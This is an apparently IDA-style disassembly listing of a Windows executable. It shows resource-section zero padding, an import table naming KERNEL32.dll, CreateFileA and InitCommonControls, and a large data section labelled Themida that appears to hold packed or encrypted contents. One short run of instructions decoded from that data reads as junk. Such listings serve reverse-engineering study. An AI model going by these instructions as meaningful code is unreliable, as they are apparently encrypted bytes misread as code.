db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 _rsrc___ ends ; Section 3. (virtual address 00112000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00112000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 512000h dword_512000 dd 0A51F58h, 7C81CDDAh, 0aE db 'Ïe',9,']',0 align 10h dd 112050h, 112000h, 3 dup(0) dd 112079h, 11200Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00113000) ; Virtual size : 000F4000 ( 999424.) ; Section size in file : 000F4000 ( 999424.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write Themida_ segment para public 'DATA' use32 assume cs:Themida_ ;org 513000h dd 0AE95652Ah, 48425h, 5EAE6h, 158172h, 0 dd 0B8h, 0C00B6000h, 0E86874h, 58000000h, 5305h, 0E9388000h dd 0EB611375h, 372DDB45h, 0FF005130h, 0FFFFFFFFh, 3DFFFFFFh dd 0E840h, 25580000h, 0FFFFF000h, 0BB66FF33h, 83665A19h dd 396634C3h, 0F127518h, 33C50B7h, 44E9BBD0h, 0C3830000h dd 741A3967h, 10002D07h, 0DAEB0000h, 0EAE9F88Bh, 3000001h dd 326AB9C7h, 0CF030011h, 2FB80AEBh, 0B900579Ah, 51326Ah dd 84E85150h, 0E8000000h, 0 dd 262D58h, 0EFB90000h, 0C6000001h, 0E983E900h, 1488905h dd 1AFE961h, 93280000h, 788AE4C9h, 815EBCh, 63432DA8h dd 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh, 93264C98h dd 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh dd 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h, 1799B7DEh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 3163C78Eh dd 93264C98h, 60F2E4C8h, 2424748Bh, 28247C8Bh, 8A80B2FCh dd 7884606h, 2BB47h, 0D2020000h, 168A0575h, 73D21246h dd 75D202EAh, 46168A05h, 4F73D212h, 0D202C033h, 168A0575h dd 0FD21246h, 0DF83h, 75D20200h, 46168A05h, 0C013D212h dd 575D202h, 1246168Ah, 2C013D2h, 8A0575D2h, 0D2124616h dd 0D202C013h, 168A0575h, 13D21246h, 570674C0h, 78AF82Bh dd 4707885Fh, 2BBh, 0B89BEB00h, 1, 575D202h, 1246168Ah dd 2C013D2h, 8A0575D2h, 0D2124616h, 0C32BEA72h, 1BBh, 0B9287500h dd 1, 575D202h, 1246168Ah, 2C913D2h, 8A0575D2h, 0D2124616h dd 8B56EA72h, 0F3F52BF7h, 4FE95EA4h, 48FFFFFFh, 8A08E0C1h dd 0E88B4606h, 1B9h, 75D20200h, 46168A05h, 0C913D212h dd 575D202h, 1246168Ah, 3DEA72D2h, 7D00h, 3D1A73h, 72000005h dd 8B56410Eh, 0F3F02BF7h, 0FE95EA4h, 83FFFFFFh, 3777FF8h dd 5602C183h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEFAh, 3346068Ah dd 1E8C0C9h, 0D1831774h, 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h dd 1, 0FFFED9E9h, 247C2BFFh, 247C8928h, 8C2611Ch, 67C5E900h dd 38E90006h, 1523518h, 3B22F2FAh, 0CEBB3B84h, 0BEEB1001h dd 1EE13522h, 8401F3AFh, 78B8FF2Ah, 0FE1FE1h, 6D656854h dd 0E1616469h, 0DE96FA1Ah, 7024F31Ch, 0E4D78D03h, 77215C71h dd 6552035Eh, 72617473h, 0C5704199h, 0F378E92Eh, 11AC6F84h dd 0EB3B848Bh, 42B821C8h, 9822EFEAh, 0F2AA1AE1h, 0AB112E36h dd 0ACCB5FAFh, 0A533FCEBh, 0D788AE01h, 4D009D5h, 0D1F524CFh dd 9D03A592h, 8B8EFF10h, 60D442C5h, 815D10E8h, 3527ED00h dd 95890615h, 0D2D6185h, 172AA5B5h, 27E5B2h, 7A9BD83h dd 0C748083h, 29E8728Bh, 1EF1B8E2h, 4470F1C2h, 3E10C724h dd 6A062559h, 29A3E845h, 749A6807h, 0DFA50783h, 4B250A01h dd 0D5E90A89h, 214E910h, 7DECA5h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFD8h lodsb out dx, al add al, 5Ah sub edx, 8B003615h fcmovb st, st(7) inc ebp fcom dword ptr [ecx+400EB108h] mov [edi-33827EF8h], ecx sbb byte ptr ds:200F6774h, 8 repne cmp dword ptr [edi+49h], 10h inc dword ptr [esi-1E14BCEEh] db 36h aaa fsub qword ptr [ecx+26h] inc ecx leave retn 4004h ; --------------------------------------------------------------------------- db 46h dd 687CC481h, 0E44902FFh, 458D405Eh, 145D8B80h, 1985C708h dd 0A08D5044h, 0AC3D10Ah, 89411888h, 0BD818A0Bh, 295D2006h dd 4227E375h, 648EBA8Dh, 8A8075C0h, 0F449BB0Eh, 0ABB8005Bh dd 0D3785437h, 0C30FFCD0h, 0F7754B08h, 47C3AFB0h, 464A4652h dd 42F92A46h, 8A61D12Bh, 0F075D0A0h, 45EE8AFDh, 0EB0A4DFCh dd 8C3CAD04h, 403E8046h, 84BA53F7h, 7D61346Eh, 907FEB0Ch dd 6DCCF83Eh, 0CA84F012h, 8110F40Eh, 0F065C14Ah, 0F8D64004h dd 339E0D1h, 332860C2h, 1C1C8ADBh, 0CCFB8030h, 390A0A72h dd 3E05773Dh, 2267F2EBh, 0DF66114h, 6F667F0Ah, 4E5F1E08h dd 10AC0AC3h, 7230411Ah, 77460A0Bh, 0A224DE06h, 0F05D0118h dd 7383F4ECh, 72021B7Dh, 0C0370CB0h, 0AA66A576h, 0CEF84126h dd 0A86A8D07h, 0FC553B00h, 0A978820Fh, 0AAC1B0BDh, 0BA5038BEh dd 0E0B9E008h, 0BDFCA870h, 0FE3740A4h, 49470F01h, 22B9FA75h dd 0BBDC6AC5h, 12310701h, 6DEB82F1h, 868ED802h, 16399F03h dd 83655107h, 0CE5DF436h, 3EF1268Ah, 5944E9h, 0F3F2B6BCh dd 0DA8C675Dh, 10C32C06h, 6230689h, 0EBFB87BCh, 0F1674008h dd 58E16BA2h, 258704E9h, 20C46021h, 5257D8Ah, 8458233h dd 4821001Eh, 5CF6C458h, 2B00887Dh, 0C0F8FB30h, 0EB8101Ah dd 34CB8CDFh, 39826700h, 76305B4Eh, 3D511C0Fh, 76D17C04h dd 4E46613Bh, 0D52E0975h, 0EC5D8211h, 8F9065E4h, 0C584A059h dd 54968E05h, 8F5388B2h, 29C2040Ah, 0C4718C8Ch, 0F00EDBE7h dd 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h, 3FBC9020h dd 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh, 45CF4090h dd 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h, 845AABCDh dd 0A6561308h, 825E0AEEh, 0A881BDEEh, 8A7B440Fh, 13A2B9FAh dd 29972305h, 57F60243h, 0E4C45F30h, 2275468Ah, 57470416h dd 800323C4h, 0D881DF28h, 8D066D76h, 0BE951DAh, 476C0E29h dd 0AB4079F9h, 2337A00Ah, 1F0DEA31h, 0EDECDA6Eh, 261D0007h dd 0BD083D75h, 81E25C9Ch, 0B805E228h, 0DF51CC00h, 8610CA0Bh dd 873DDD35h, 93C8DAC0h, 0F0352EB6h, 5C3A1B02h, 9D001723h dd 0EAF921B7h, 8119C210h, 3193E1DCh, 8AF259E4h, 1D17EBF3h dd 0CA8BC18h, 1216507Fh, 60E92940h, 82D2310Ch, 2600462Ch dd 0F1A51844h, 3961A686h, 8C85CFB8h, 0E9010F3h, 5B20622Fh dd 0E1F1F782h, 0C21DC3Bh, 1E6CFEC3h, 1BCE3169h, 8013EA0Ah dd 0B7FFF733h, 73EBD783h, 3E1F00DFh, 31732338h, 7024E37h dd 0E96159D4h, 7FDD200Dh, 0ED03228Fh, 962D21DFh, 